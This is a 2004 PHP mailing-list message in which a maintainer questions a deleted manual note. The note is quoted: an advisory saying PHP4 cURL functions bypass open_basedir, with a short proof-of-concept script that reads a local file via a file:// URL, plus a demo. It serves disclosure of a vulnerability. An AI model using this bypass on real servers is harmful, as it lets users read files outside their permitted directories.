Is this legitimate? I took a (very) quick look at bugs, and didn't see it.
(deleted the note)
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-------- Original Message -------- Subject: [PHP-NOTES] note 46955 added to function.curl-init Date: Thu, 28 Oct 2004 09:03:55 -0700 From: [EMAIL PROTECTED] (a) To: [EMAIL PROTECTED]
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==================================================== Subject: PHP4 cURL functions bypass open_basedir Author: frame at kernelpanik.org Product: PHP4 compile with cURL (not tested in PHP5) Vendor: PHP/Zend Vendor URL: www.php.net Tipe: Local Risk: Low/Medium =====================================================
PHP cURL functions bypass open_basedir protection, so users can navigate through filesystem.
For example, setting "open_basedir" in php.ini to "/var/www/html" anybody can retrieve "/etc/parla" using cURL functions.
== Proof of concept (curl.php) <?php $ch = curl_init("file:///etc/parla"); $file=curl_exec($ch); echo $file ?>
== Demo $ cat /etc/parla don't read please!
$ links -dump http://localhost/curltest/curl.php don't read please!
== Release Timeline No release timeline.
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